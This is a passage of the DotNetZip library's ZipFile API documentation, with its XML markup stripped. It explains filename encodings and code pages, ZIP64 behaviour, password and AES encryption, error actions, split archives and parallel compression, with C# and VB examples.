content within the entries + in the zip file. Think of the zip file as a container - it supports an + encoding. Within the container are other "containers" - the file entries + themselves. The encoding within those entries is independent of the + encoding of the zip archive container for those entries. + + + + Rather than specify the encoding in a binary fashion using this flag, an + application can specify an arbitrary encoding via the property. Setting the encoding + explicitly when creating zip archives will result in non-compliant zip + files that, curiously, are fairly interoperable. The challenge is, the + PKWare specification does not provide for a way to specify that an entry + in a zip archive uses a code page that is neither IBM437 nor UTF-8. + Therefore if you set the encoding explicitly when creating a zip archive, + you must take care upon reading the zip archive to use the same code page. + If you get it wrong, the behavior is undefined and may result in incorrect + filenames, exceptions, stomach upset, hair loss, and acne. + + + + + + + Specify whether to use ZIP64 extensions when saving a zip archive. + + + + + + When creating a zip file, the default value for the property is . is + safest, in the sense that you will not get an Exception if a pre-ZIP64 + limit is exceeded. + + + + You may set the property at any time before calling Save(). + + + + When reading a zip file via the Zipfile.Read() method, DotNetZip + will properly read ZIP64-endowed zip archives, regardless of the value of + this property. DotNetZip will always read ZIP64 archives. This property + governs only whether DotNetZip will write them. Therefore, when updating + archives, be careful about setting this property after reading an archive + that may use ZIP64 extensions. + + + + An interesting question is, if you have set this property to + AsNecessary, and then successfully saved, does the resulting + archive use ZIP64 extensions or not? To learn this, check the property, after calling Save(). + + + + Have you thought about + donating? + + + + + + + + Indicates whether the archive requires ZIP64 extensions. + + + + + + This property is null (or Nothing in VB) if the archive has + not been saved, and there are fewer than 65334 ZipEntry items + contained in the archive. + + + + The Value is true if any of the following four conditions holds: + the uncompressed size of any entry is larger than 0xFFFFFFFF; the + compressed size of any entry is larger than 0xFFFFFFFF; the relative + offset of any entry within the zip archive is larger than 0xFFFFFFFF; or + there are more than 65534 entries in the archive. (0xFFFFFFFF = + 4,294,967,295). The result may not be known until a Save() is attempted + on the zip archive. The Value of this + property may be set only AFTER one of the Save() methods has been called. + + + + If none of the four conditions holds, and the archive has been saved, then + the Value is false. + + + + A Value of false does not indicate that the zip archive, as saved, + does not use ZIP64. It merely indicates that ZIP64 is not required. An + archive may use ZIP64 even when not required if the property is set to , or if the property is set to and the output stream was not + seekable. Use the property to determine if + the most recent Save() method resulted in an archive that utilized + the ZIP64 extensions. + + + + + + + + + Indicates whether the most recent Save() operation used ZIP64 extensions. + + + + + The use of ZIP64 extensions within an archive is not always necessary, and + for interoperability concerns, it may be desired to NOT use ZIP64 if + possible. The property can be + set to use ZIP64 extensions only when necessary. In those cases, + Sometimes applications want to know whether a Save() actually used ZIP64 + extensions. Applications can query this read-only property to learn + whether ZIP64 has been used in a just-saved ZipFile. + + + + The value is null (or Nothing in VB) if the archive has not + been saved. + + + + Non-null values (HasValue is true) indicate whether ZIP64 + extensions were used during the most recent Save() operation. The + ZIP64 extensions may have been used as required by any particular entry + because of its uncompressed or compressed size, or because the archive is + larger than 4294967295 bytes, or because there are more than 65534 entries + in the archive, or because the UseZip64WhenSaving property was set + to , or because the + UseZip64WhenSaving property was set to and the output stream was not seekable. + The value of this property does not indicate the reason the ZIP64 + extensions were used. + + + + + + + + + Indicates whether the most recent Read() operation read a zip file that uses + ZIP64 extensions. + + + + This property will return null (Nothing in VB) if you've added an entry after reading + the zip file. + + + + + The text encoding to use when writing new entries to the ZipFile, + for those entries that cannot be encoded with the default (IBM437) + encoding; or, the text encoding that was used when reading the entries + from the ZipFile. + + + + + In its + zip specification, PKWare describes two options for encoding + filenames and comments: using IBM437 or UTF-8. But, some archiving tools + or libraries do not follow the specification, and instead encode + characters using the system default code page. For example, WinRAR when + run on a machine in Shanghai may encode filenames with the Big-5 Chinese + (950) code page. This behavior is contrary to the Zip specification, but + it occurs anyway. + + + + When using DotNetZip to write zip archives that will be read by one of + these other archivers, set this property to specify the code page to use + when encoding the and for each ZipEntry in the zip file, for + values that cannot be encoded with the default codepage for zip files, + IBM437. This is why this property is "provisional". In all cases, IBM437 + is used where possible, in other words, where no loss of data would + result. It is possible, therefore, to have a given entry with a + Comment encoded in IBM437 and a FileName encoded with the + specified "provisional" codepage. + + + + Be aware that a zip file created after you've explicitly set the property to a value other than + IBM437 may not be compliant to the PKWare specification, and may not be + readable by compliant archivers. On the other hand, many (most?) + archivers are non-compliant and can read zip files created in arbitrary + code pages. The trick is to use or specify the proper codepage when + reading the zip. + + + + When creating a zip archive using this library, it is possible to change + the value of between each + entry you add, and between adding entries and the call to + Save(). Don't do this. It will likely result in a zipfile that is + not readable. For best interoperability, either leave alone, or specify it only once, + before adding any entries to the ZipFile instance. There is one + exception to this recommendation, described later. + + + + When using an arbitrary, non-UTF8 code page for encoding, there is no + standard way for the creator application - whether DotNetZip, WinZip, + WinRar, or something else - to formally specify in the zip file which + codepage has been used for the entries. As a result, readers of zip files + are not able to inspect the zip file and determine the codepage that was + used for the entries contained within it. It is left to the application + or user to determine the necessary codepage when reading zip files encoded + this way. In other words, if you explicitly specify the codepage when you + create the zipfile, you must explicitly specify the same codepage when + reading the zipfile. + + + + The way you specify the code page to use when reading a zip file varies + depending on the tool or library you use to read the zip. In DotNetZip, + you use a ZipFile.Read() method that accepts an encoding parameter. It + isn't possible with Windows Explorer, as far as I know, to specify an + explicit codepage to use when reading a zip. If you use an incorrect + codepage when reading a zipfile, you will get entries with filenames that + are incorrect, and the incorrect filenames may even contain characters + that are not legal for use within filenames in Windows. Extracting entries + with illegal characters in the filenames will lead to exceptions. It's too + bad, but this is just the way things are with code pages in zip + files. Caveat Emptor. + + + + Example: Suppose you create a zipfile that contains entries with + filenames that have Danish characters. If you use equal to "iso-8859-1" (cp 28591), + the filenames will be correctly encoded in the zip. But, to read that + zipfile correctly, you have to specify the same codepage at the time you + read it. If try to read that zip file with Windows Explorer or another + application that is not flexible with respect to the codepage used to + decode filenames in zipfiles, you will get a filename like "Inf�.txt". + + + + When using DotNetZip to read a zip archive, and the zip archive uses an + arbitrary code page, you must specify the encoding to use before or when + the Zipfile is READ. This means you must use a ZipFile.Read() + method that allows you to specify a System.Text.Encoding parameter. Setting + the ProvisionalAlternateEncoding property after your application has read in + the zip archive will not affect the entry names of entries that have already + been read in. + + + + And now, the exception to the rule described above. One strategy for + specifying the code page for a given zip file is to describe the code page + in a human-readable form in the Zip comment. For example, the comment may + read "Entries in this archive are encoded in the Big5 code page". For + maximum interoperability, the zip comment in this case should be encoded + in the default, IBM437 code page. In this case, the zip comment is + encoded using a different page than the filenames. To do this, Specify + ProvisionalAlternateEncoding to your desired region-specific code + page, once before adding any entries, and then reset + ProvisionalAlternateEncoding to IBM437 before setting the property and calling Save(). + + + + + This example shows how to read a zip file using the Big-5 Chinese code page + (950), and extract each entry in the zip file. For this code to work as + desired, the Zipfile must have been created using the big5 code page + (CP950). This is typical, for example, when using WinRar on a machine with + CP950 set as the default code page. In that case, the names of entries + within the Zip archive will be stored in that code page, and reading the zip + archive must be done using that code page. If the application did not use + the correct code page in ZipFile.Read(), then names of entries within the + zip archive would not be correctly retrieved. + + using (var zip = ZipFile.Read(zipFileName, System.Text.Encoding.GetEncoding("big5"))) + { + // retrieve and extract an entry using a name encoded with CP950 + zip[MyDesiredEntry].Extract("unpack"); + } + + + + Using zip As ZipFile = ZipFile.Read(ZipToExtract, System.Text.Encoding.GetEncoding("big5")) + ' retrieve and extract an entry using a name encoded with CP950 + zip(MyDesiredEntry).Extract("unpack") + End Using + + + + DefaultEncoding + + + + A Text Encoding to use when encoding the filenames and comments for + all the ZipEntry items, during a ZipFile.Save() operation. + + + + Whether the encoding specified here is used during the save depends + on . + + + + + + A flag that tells if and when this instance should apply + AlternateEncoding to encode the filenames and comments associated to + of ZipEntry objects contained within this instance. + + + + + Gets or sets the TextWriter to which status messages are delivered + for the instance. + + + + If the TextWriter is set to a non-null value, then verbose output is sent + to the TextWriter during Add, Read, Save and + Extract operations. Typically, console applications might use + Console.Out and graphical or headless applications might use a + System.IO.StringWriter. The output of this is suitable for viewing + by humans. + + + + + In this example, a console application instantiates a ZipFile, then + sets the StatusMessageTextWriter to Console.Out. At that + point, all verbose status messages for that ZipFile are sent to the + console. + + + + using (ZipFile zip= ZipFile.Read(FilePath)) + { + zip.StatusMessageTextWriter= System.Console.Out; + // messages are sent to the console during extraction + zip.ExtractAll(); + } + + + + Using zip As ZipFile = ZipFile.Read(FilePath) + zip.StatusMessageTextWriter= System.Console.Out + 'Status Messages will be sent to the console during extraction + zip.ExtractAll() + End Using + + + + In this example, a Windows Forms application instantiates a + ZipFile, then sets the StatusMessageTextWriter to a + StringWriter. At that point, all verbose status messages for that + ZipFile are sent to the StringWriter. + + + + var sw = new System.IO.StringWriter(); + using (ZipFile zip= ZipFile.Read(FilePath)) + { + zip.StatusMessageTextWriter= sw; + zip.ExtractAll(); + } + Console.WriteLine("{0}", sw.ToString()); + + + + Dim sw as New System.IO.StringWriter + Using zip As ZipFile = ZipFile.Read(FilePath) + zip.StatusMessageTextWriter= sw + zip.ExtractAll() + End Using + 'Status Messages are now available in sw + + + + + + + Gets or sets the name for the folder to store the temporary file + this library writes when saving a zip archive. + + + + + This library will create a temporary file when saving a Zip archive to a + file. This file is written when calling one of the Save() methods + that does not save to a stream, or one of the SaveSelfExtractor() + methods. + + + + By default, the library will create the temporary file in the directory + specified for the file itself, via the property or via + the method. + + + + Setting this property allows applications to override this default + behavior, so that the library will create the temporary file in the + specified folder. For example, to have the library create the temporary + file in the current working directory, regardless where the ZipFile + is saved, specfy ".". To revert to the default behavior, set this + property to null (Nothing in VB). + + + + When setting the property to a non-null value, the folder specified must + exist; if it does not an exception is thrown. The application should have + write and delete permissions on the folder. The permissions are not + explicitly checked ahead of time; if the application does not have the + appropriate rights, an exception will be thrown at the time Save() + is called. + + + + There is no temporary file created when reading a zip archive. When + saving to a Stream, there is no temporary file created. For example, if + the application is an ASP.NET application and calls Save() + specifying the Response.OutputStream as the output stream, there is + no temporary file created. + + + + + Thrown when setting the property if the directory does not exist. + + + + + + Sets the password to be used on the ZipFile instance. + + + + + + When writing a zip archive, this password is applied to the entries, not + to the zip archive itself. It applies to any ZipEntry subsequently + added to the ZipFile, using one of the AddFile, + AddDirectory, AddEntry, or AddItem methods, etc. + When reading a zip archive, this property applies to any entry + subsequently extracted from the ZipFile using one of the Extract + methods on the ZipFile class. + + + + When writing a zip archive, keep this in mind: though the password is set + on the ZipFile object, according to the Zip spec, the "directory" of the + archive - in other words the list of entries or files contained in the archive - is + not encrypted with the password, or protected in any way. If you set the + Password property, the password actually applies to individual entries + that are added to the archive, subsequent to the setting of this property. + The list of filenames in the archive that is eventually created will + appear in clear text, but the contents of the individual files are + encrypted. This is how Zip encryption works. + + + + One simple way around this limitation is to simply double-wrap sensitive + filenames: Store the files in a zip file, and then store that zip file + within a second, "outer" zip file. If you apply a password to the outer + zip file, then readers will be able to see that the outer zip file + contains an inner zip file. But readers will not be able to read the + directory or file list of the inner zip file. + + + + If you set the password on the ZipFile, and then add a set of files + to the archive, then each entry is encrypted with that password. You may + also want to change the password between adding different entries. If you + set the password, add an entry, then set the password to null + (Nothing in VB), and add another entry, the first entry is + encrypted and the second is not. If you call AddFile(), then set + the Password property, then call ZipFile.Save, the file + added will not be password-protected, and no warning will be generated. + + + + When setting the Password, you may also want to explicitly set the property, to specify how to encrypt the entries added + to the ZipFile. If you set the Password to a non-null value and do not + set , then PKZip 2.0 ("Weak") encryption is used. + This encryption is relatively weak but is very interoperable. If you set + the password to a null value (Nothing in VB), Encryption is + reset to None. + + + + All of the preceding applies to writing zip archives, in other words when + you use one of the Save methods. To use this property when reading or an + existing ZipFile, do the following: set the Password property on the + ZipFile, then call one of the Extract() overloads on the . In this case, the entry is extracted using the + Password that is specified on the ZipFile instance. If you + have not set the Password property, then the password is + null, and the entry is extracted with no password. + + + + If you set the Password property on the ZipFile, then call + Extract() an entry that has not been encrypted with a password, the + password is not used for that entry, and the ZipEntry is extracted + as normal. In other words, the password is used only if necessary. + + + + The class also has a Password property. It takes precedence + over this property on the ZipFile. Typically, you would use the + per-entry Password when most entries in the zip archive use one password, + and a few entries use a different password. If all entries in the zip + file use the same password, then it is simpler to just set this property + on the ZipFile itself, whether creating a zip archive or extracting + a zip archive. + + + + + + + This example creates a zip file, using password protection for the + entries, and then extracts the entries from the zip file. When creating + the zip file, the Readme.txt file is not protected with a password, but + the other two are password-protected as they are saved. During extraction, + each file is extracted with the appropriate password. + + + // create a file with encryption + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("ReadMe.txt"); + zip.Password= "!Secret1"; + zip.AddFile("MapToTheSite-7440-N49th.png"); + zip.AddFile("2008-Regional-Sales-Report.pdf"); + zip.Save("EncryptedArchive.zip"); + } + + // extract entries that use encryption + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + zip.Password= "!Secret1"; + zip.ExtractAll("extractDir"); + } + + + + + Using zip As New ZipFile + zip.AddFile("ReadMe.txt") + zip.Password = "123456!" + zip.AddFile("MapToTheSite-7440-N49th.png") + zip.Password= "!Secret1"; + zip.AddFile("2008-Regional-Sales-Report.pdf") + zip.Save("EncryptedArchive.zip") + End Using + + + ' extract entries that use encryption + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + zip.Password= "!Secret1" + zip.ExtractAll("extractDir") + End Using + + + + + + ZipFile.Encryption + ZipEntry.Password + + + + The action the library should take when extracting a file that already + exists. + + + + + This property affects the behavior of the Extract methods (one of the + Extract() or ExtractWithPassword() overloads), when + extraction would would overwrite an existing filesystem file. If you do + not set this property, the library throws an exception when extracting an + entry would overwrite an existing file. + + + + This property has no effect when extracting to a stream, or when the file + to be extracted does not already exist. + + + + + + + The action the library should take when an error is encountered while + opening or reading files as they are saved into a zip archive. + + + + + Errors can occur as a file is being saved to the zip archive. For + example, the File.Open may fail, or a File.Read may fail, because of + lock conflicts or other reasons. + + + + The first problem might occur after having called AddDirectory() on a + directory that contains a Clipper .dbf file; the file is locked by + Clipper and cannot be opened for read by another process. An example of + the second problem might occur when trying to zip a .pst file that is in + use by Microsoft Outlook. Outlook locks a range on the file, which allows + other processes to open the file, but not read it in its entirety. + + + + This property tells DotNetZip what you would like to do in the case of + these errors. The primary options are: ZipErrorAction.Throw to + throw an exception (this is the default behavior if you don't set this + property); ZipErrorAction.Skip to Skip the file for which there + was an error and continue saving; ZipErrorAction.Retry to Retry + the entry that caused the problem; or + ZipErrorAction.InvokeErrorEvent to invoke an event handler. + + + + This property is implicitly set to ZipErrorAction.InvokeErrorEvent + if you add a handler to the event. If you set + this property to something other than + ZipErrorAction.InvokeErrorEvent, then the ZipError + event is implicitly cleared. What it means is you can set one or the + other (or neither), depending on what you want, but you never need to set + both. + + + + As with some other properties on the ZipFile class, like , , and , setting this property on a ZipFile + instance will cause the specified ZipErrorAction to be used on all + items that are subsequently added to the + ZipFile instance. If you set this property after you have added + items to the ZipFile, but before you have called Save(), + those items will not use the specified error handling action. + + + + If you want to handle any errors that occur with any entry in the zip + file in the same way, then set this property once, before adding any + entries to the zip archive. + + + + If you set this property to ZipErrorAction.Skip and you'd like to + learn which files may have been skipped after a Save(), you can + set the on the ZipFile before + calling Save(). A message will be emitted into that writer for + each skipped file, if any. + + + + + + This example shows how to tell DotNetZip to skip any files for which an + error is generated during the Save(). + + Public Sub SaveZipFile() + Dim SourceFolder As String = "fodder" + Dim DestFile As String = "eHandler.zip" + Dim sw as New StringWriter + Using zipArchive As ZipFile = New ZipFile + ' Tell DotNetZip to skip any files for which it encounters an error + zipArchive.ZipErrorAction = ZipErrorAction.Skip + zipArchive.StatusMessageTextWriter = sw + zipArchive.AddDirectory(SourceFolder) + zipArchive.Save(DestFile) + End Using + ' examine sw here to see any messages + End Sub + + + + + + + + + + The Encryption to use for entries added to the ZipFile. + + + + + Set this when creating a zip archive, or when updating a zip archive. The + specified Encryption is applied to the entries subsequently added to the + ZipFile instance. Applications do not need to set the + Encryption property when reading or extracting a zip archive. + + + + If you set this to something other than EncryptionAlgorithm.None, you + will also need to set the . + + + + As with some other properties on the ZipFile class, like and , setting this + property on a ZipFile instance will cause the specified + EncryptionAlgorithm to be used on all items + that are subsequently added to the ZipFile instance. In other + words, if you set this property after you have added items to the + ZipFile, but before you have called Save(), those items will + not be encrypted or protected with a password in the resulting zip + archive. To get a zip archive with encrypted entries, set this property, + along with the property, before calling + AddFile, AddItem, or AddDirectory (etc.) on the + ZipFile instance. + + + + If you read a ZipFile, you can modify the Encryption on an + encrypted entry, only by setting the Encryption property on the + ZipEntry itself. Setting the Encryption property on the + ZipFile, once it has been created via a call to + ZipFile.Read(), does not affect entries that were previously read. + + + + For example, suppose you read a ZipFile, and there is an encrypted + entry. Setting the Encryption property on that ZipFile and + then calling Save() on the ZipFile does not update the + Encryption used for the entries in the archive. Neither is an + exception thrown. Instead, what happens during the Save() is that + all previously existing entries are copied through to the new zip archive, + with whatever encryption and password that was used when originally + creating the zip archive. Upon re-reading that archive, to extract + entries, applications should use the original password or passwords, if + any. + + + + Suppose an application reads a ZipFile, and there is an encrypted + entry. Setting the Encryption property on that ZipFile and + then adding new entries (via AddFile(), AddEntry(), etc) + and then calling Save() on the ZipFile does not update the + Encryption on any of the entries that had previously been in the + ZipFile. The Encryption property applies only to the + newly-added entries. + + + + + + + This example creates a zip archive that uses encryption, and then extracts + entries from the archive. When creating the zip archive, the ReadMe.txt + file is zipped without using a password or encryption. The other files + use encryption. + + + + // Create a zip archive with AES Encryption. + using (ZipFile zip = new ZipFile()) + { + zip.AddFile("ReadMe.txt"); + zip.Encryption= EncryptionAlgorithm.WinZipAes256; + zip.Password= "Top.Secret.No.Peeking!"; + zip.AddFile("7440-N49th.png"); + zip.AddFile("2008-Regional-Sales-Report.pdf"); + zip.Save("EncryptedArchive.zip"); + } + + // Extract a zip archive that uses AES Encryption. + // You do not need to specify the algorithm during extraction. + using (ZipFile zip = ZipFile.Read("EncryptedArchive.zip")) + { + zip.Password= "Top.Secret.No.Peeking!"; + zip.ExtractAll("extractDirectory"); + } + + + + ' Create a zip that uses Encryption. + Using zip As New ZipFile() + zip.Encryption= EncryptionAlgorithm.WinZipAes256 + zip.Password= "Top.Secret.No.Peeking!" + zip.AddFile("ReadMe.txt") + zip.AddFile("7440-N49th.png") + zip.AddFile("2008-Regional-Sales-Report.pdf") + zip.Save("EncryptedArchive.zip") + End Using + + ' Extract a zip archive that uses AES Encryption. + ' You do not need to specify the algorithm during extraction. + Using (zip as ZipFile = ZipFile.Read("EncryptedArchive.zip")) + zip.Password= "Top.Secret.No.Peeking!" + zip.ExtractAll("extractDirectory") + End Using + + + + + ZipFile.Password + ZipEntry.Encryption + + + + A callback that allows the application to specify the compression level + to use for entries subsequently added to the zip archive. + + + + + + With this callback, the DotNetZip library allows the application to + determine whether compression will be used, at the time of the + Save. This may be useful if the application wants to favor + speed over size, and wants to defer the decision until the time of + Save. + + + + Typically applications set the property on + the ZipFile or on each ZipEntry to determine the level of + compression used. This is done at the time the entry is added to the + ZipFile. Setting the property to + Ionic.Zlib.CompressionLevel.None means no compression will be used. + + + + This callback allows the application to defer the decision on the + CompressionLevel to use, until the time of the call to + ZipFile.Save(). The callback is invoked once per ZipEntry, + at the time the data for the entry is being written out as part of a + Save() operation. The application can use whatever criteria it + likes in determining the level to return. For example, an application may + wish that no .mp3 files should be compressed, because they are already + compressed and the extra compression is not worth the CPU time incurred, + and so can return None for all .mp3 entries. + + + + The library determines whether compression will be attempted for an entry + this way: If the entry is a zero length file, or a directory, no + compression is used. Otherwise, if this callback is set, it is invoked + and the CompressionLevel is set to the return value. If this + callback has not been set, then the previously set value for + CompressionLevel is used. + + + + + + + The maximum size of an output segment, when saving a split Zip file. + + + + Make sure you do not read from this field if you've set the value using + + + + Set this to a non-zero value before calling or to specify that the ZipFile should be saved as a + split archive, also sometimes called a spanned archive. Some also + call them multi-file archives. + + + + A split zip archive is saved in a set of discrete filesystem files, + rather than in a single file. This is handy when transmitting the + archive in email or some other mechanism that has a limit to the size of + each file. The first file in a split archive will be named + basename.z01, the second will be named basename.z02, and + so on. The final file is named basename.zip. According to the zip + specification from PKWare, the minimum value is 65536, for a 64k segment + size. The maximum number of segments allows in a split archive is 99. + + + + The value of this property determines the maximum size of a split + segment when writing a split archive. For example, suppose you have a + ZipFile that would save to a single file of 200k. If you set the + MaxOutputSegmentSize to 65536 before calling Save(), you + will get four distinct output files. On the other hand if you set this + property to 256k, then you will get a single-file archive for that + ZipFile. + + + + The size of each split output file will be as large as possible, up to + the maximum size set here. The zip specification requires that some data + fields in a zip archive may not span a split boundary, and an output + segment may be smaller than the maximum if necessary to avoid that + problem. Also, obviously the final segment of the archive may be smaller + than the maximum segment size. Segments will never be larger than the + value set with this property. + + + + You can save a split Zip file only when saving to a regular filesystem + file. It's not possible to save a split zip file as a self-extracting + archive, nor is it possible to save a split zip file to a stream. When + saving to a SFX or to a Stream, this property is ignored. + + + + About interoperability: Split or spanned zip files produced by DotNetZip + can be read by WinZip or PKZip, and vice-versa. Segmented zip files may + not be readable by other tools, if those other tools don't support zip + spanning or splitting. When in doubt, test. I don't believe Windows + Explorer can extract a split archive. + + + + This property has no effect when reading a split archive. You can read + a split archive in the normal way with DotNetZip. + + + + When saving a zip file, if you want a regular zip file rather than a + split zip file, don't set this property, or set it to Zero. + + + + If you read a split archive, with and + then subsequently call ZipFile.Save(), unless you set this + property before calling Save(), you will get a normal, + single-file archive. + + + + + + + + The maximum size of an output segment, when saving a split Zip file. + + + + If you set this value, make sure you do not accidently use in your code + + + + Set this to a non-zero value before calling or to specify that the ZipFile should be saved as a + split archive, also sometimes called a spanned archive. Some also + call them multi-file archives. + + + + A split zip archive is saved in a set of discrete filesystem files, + rather than in a single file. This is handy when transmitting the + archive in email or some other mechanism that has a limit to the size of + each file. The first file in a split archive will be named + basename.z01, the second will be named basename.z02, and + so on. The final file is named basename.zip. According to the zip + specification from PKWare, the minimum value is 65536, for a 64k segment + size. The maximum number of segments allows in a split archive is 99. + + + + The value of this property determines the maximum size of a split + segment when writing a split archive. For example, suppose you have a + ZipFile that would save to a single file of 200k. If you set the + MaxOutputSegmentSize to 65536 before calling Save(), you + will get four distinct output files. On the other hand if you set this + property to 256k, then you will get a single-file archive for that + ZipFile. + + + + The size of each split output file will be as large as possible, up to + the maximum size set here. The zip specification requires that some data + fields in a zip archive may not span a split boundary, and an output + segment may be smaller than the maximum if necessary to avoid that + problem. Also, obviously the final segment of the archive may be smaller + than the maximum segment size. Segments will never be larger than the + value set with this property. + + + + You can save a split Zip file only when saving to a regular filesystem + file. It's not possible to save a split zip file as a self-extracting + archive, nor is it possible to save a split zip file to a stream. When + saving to a SFX or to a Stream, this property is ignored. + + + + About interoperability: Split or spanned zip files produced by DotNetZip + can be read by WinZip or PKZip, and vice-versa. Segmented zip files may + not be readable by other tools, if those other tools don't support zip + spanning or splitting. When in doubt, test. I don't believe Windows + Explorer can extract a split archive. + + + + This property has no effect when reading a split archive. You can read + a split archive in the normal way with DotNetZip. + + + + When saving a zip file, if you want a regular zip file rather than a + split zip file, don't set this property, or set it to Zero. + + + + If you read a split archive, with and + then subsequently call ZipFile.Save(), unless you set this + property before calling Save(), you will get a normal, + single-file archive. + + + + + + + + Returns the number of segments used in the most recent Save() operation. + + + + This is normally zero, unless you have set the property. If you have set , and then you save a file, after the call to + Save() completes, you can read this value to learn the number of segments that + were created. + + + If you call Save("Archive.zip"), and it creates 5 segments, then you + will have filesystem files named Archive.z01, Archive.z02, Archive.z03, + Archive.z04, and Archive.zip, and the value of this property will be 5. + + + + + + + The size threshold for an entry, above which a parallel deflate is used. + + + + + + DotNetZip will use multiple threads to compress any ZipEntry, + if the entry is larger than the given size. Zero means "always + use parallel deflate", while -1 means "never use parallel + deflate". The default value for this property is 512k. Aside + from the special values of 0 and 1, the minimum value is 65536. + + + + If the entry size cannot be known before compression, as with a + read-forward stream, then Parallel deflate will never be + performed, unless the value of this property is zero. + + + + A parallel deflate operations will speed up the compression of + large files, on computers with multiple CPUs or multiple CPU + cores. For files above 1mb, on a dual core or dual-cpu (2p) + machine, the time required to compress the file can be 70% of the + single-threaded deflate. For very large files on 4p machines the + compression can be done in 30% of the normal time. The downside + is that parallel deflate consumes extra memory during the deflate, + and the deflation is not as effective. + + + + Parallel deflate tends to yield slightly less compression when + compared to as single-threaded deflate; this is because the original + data stream is split into multiple independent buffers, each of which + is compressed in parallel. But because they are treated + independently, there is no opportunity to share compression + dictionaries. For that reason, a deflated stream may be slightly + larger when compressed using parallel deflate, as compared to a + traditional single-threaded deflate. Sometimes the increase over the + normal deflate is as much as 5% of the total compressed size. For + larger files it can be as small as 0.1%. + + + + Multi-threaded compression does not give as much an advantage when + using Encryption. This is primarily because encryption tends to slow + down the entire pipeline. Also, multi-threaded compression gives less + of an advantage when using lower compression levels, for example . You may have to + perform some tests to determine the best approach for your situation. + + + + + + + + + + The maximum number of buffer pairs to use when performing + parallel compression. + + + + + This property sets an upper limit on the number of memory + buffer pairs to create when performing parallel + compression. The implementation of the parallel + compression stream allocates multiple buffers to + facilitate parallel compression. As each buffer fills up, + the stream uses + ThreadPool.QueueUserWorkItem() to compress those + buffers in a background threadpool thread. After a buffer + is compressed, it is re-ordered and written to the output + stream. + + + + A higher number of buffer pairs enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + For each compression "task" that occurs in parallel, there are 2 + buffers allocated: one for input and one for output. This property + sets a limit for the number of pairs. The total amount of storage + space allocated for buffering will then be (N*S*2), where N is the + number of buffer pairs, S is the size of each buffer (). By default, DotNetZip allocates 4 buffer + pairs per CPU core, so if your machine has 4 cores, and you retain + the default buffer size of 128k, then the + ParallelDeflateOutputStream will use 4 * 4 * 2 * 128kb of buffer + memory in total, or 4mb, in blocks of 128kb. If you then set this + property to 8, then the number will be 8 * 2 * 128kb of buffer + memory, or 2mb. + + + + CPU utilization will also go up with additional buffers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + This property is not the number of buffer pairs to use; it is an + upper limit. An illustration: Suppose you have an application that + uses the default value of this property (which is 16), and it runs + on a machine with 2 CPU cores. In that case, DotNetZip will allocate + 4 buffer pairs per CPU core, for a total of 8 pairs. The upper + limit specified by this property has no effect. + + + + The application can set this value at any time + before calling ZipFile.Save(). + + + + + + + + Provides a string representation of the instance. + a string representation of the instance. + + + + Returns the version number on the DotNetZip assembly. + + + + + This property is exposed as a convenience. Callers could also get the + version value by retrieving GetName().Version on the + System.Reflection.Assembly object pointing to the DotNetZip + assembly. But sometimes it is not clear which assembly is being loaded. + This property makes it clear. + + + This static property is primarily useful for diagnostic purposes. + + + + + + Creates a new ZipFile instance, using the specified filename. + + + + + Applications can use this constructor to create a new ZipFile for writing, + or to slurp in an existing zip archive for read and update purposes. + + + + To create a new zip archive, an application can call this constructor, + passing the name of a file that does not exist. The name may be a fully + qualified path. Then the application can add directories or files to the + ZipFile via AddDirectory(), AddFile(), AddItem() + and then write the zip archive to the disk by calling Save(). The + zip file is not actually opened and written to the disk until the + application calls ZipFile.Save(). At that point the new zip file + with the given name is created. + + + + If you won't know the name of the Zipfile until the time you call + ZipFile.Save(), or if you plan to save to a stream (which has no + name), then you should use the no-argument constructor. + + + + The application can also call this constructor to read an existing zip + archive. passing the name of a valid zip file that does exist. But, it's + better form to use the static method, + passing the name of the zip file, because using ZipFile.Read() in + your code communicates very clearly what you are doing. In either case, + the file is then read into the ZipFile instance. The app can then + enumerate the entries or can modify the zip file, for example adding + entries, removing entries, changing comments, and so on. + + + + One advantage to this parameterized constructor: it allows applications to + use the same code to add items to a zip archive, regardless of whether the + zip file exists. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + By the way, since DotNetZip is so easy to use, don't you think you should + donate $5 or $10? + + + + + + Thrown if name refers to an existing file that is not a valid zip file. + + + + This example shows how to create a zipfile, and add a few files into it. + + String ZipFileToCreate = "archive1.zip"; + String DirectoryToZip = "c:\\reports"; + using (ZipFile zip = new ZipFile()) + { + // Store all files found in the top level directory, into the zip archive. + String[] filenames = System.IO.Directory.GetFiles(DirectoryToZip); + zip.AddFiles(filenames, "files"); + zip.Save(ZipFileToCreate); + } + + + + Dim ZipFileToCreate As String = "archive1.zip" + Dim DirectoryToZip As String = "c:\reports" + Using zip As ZipFile = New ZipFile() + Dim filenames As String() = System.IO.Directory.GetFiles(DirectoryToZip) + zip.AddFiles(filenames, "files") + zip.Save(ZipFileToCreate) + End Using + + + + The filename to use for the new zip archive. + + + + + Creates a new ZipFile instance, using the specified name for the + filename, and the specified Encoding. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + The Encoding is used as the default alternate encoding for entries with + filenames or comments that cannot be encoded with the IBM437 code page. + This is equivalent to setting the property on the ZipFile + instance after construction. + + + + Instances of the ZipFile class are not multi-thread safe. You may + not party on a single instance with multiple threads. You may have + multiple threads that each use a distinct ZipFile instance, or you + can synchronize multi-thread access to a single instance. + + + + + + Thrown if name refers to an existing file that is not a valid zip file. + + + The filename to use for the new zip archive. + The Encoding is used as the default alternate + encoding for entries with filenames or comments that cannot be encoded + with the IBM437 code page. + + + + Create a zip file, without specifying a target filename or stream to save to. + + + + + See the documentation on the ZipFile + constructor that accepts a single string argument for basic + information on all the ZipFile constructors. + + + + After instantiating with this constructor and adding entries to the + archive, the application should call or + to save to a file or a + stream, respectively. The application can also set the + property and then call the no-argument 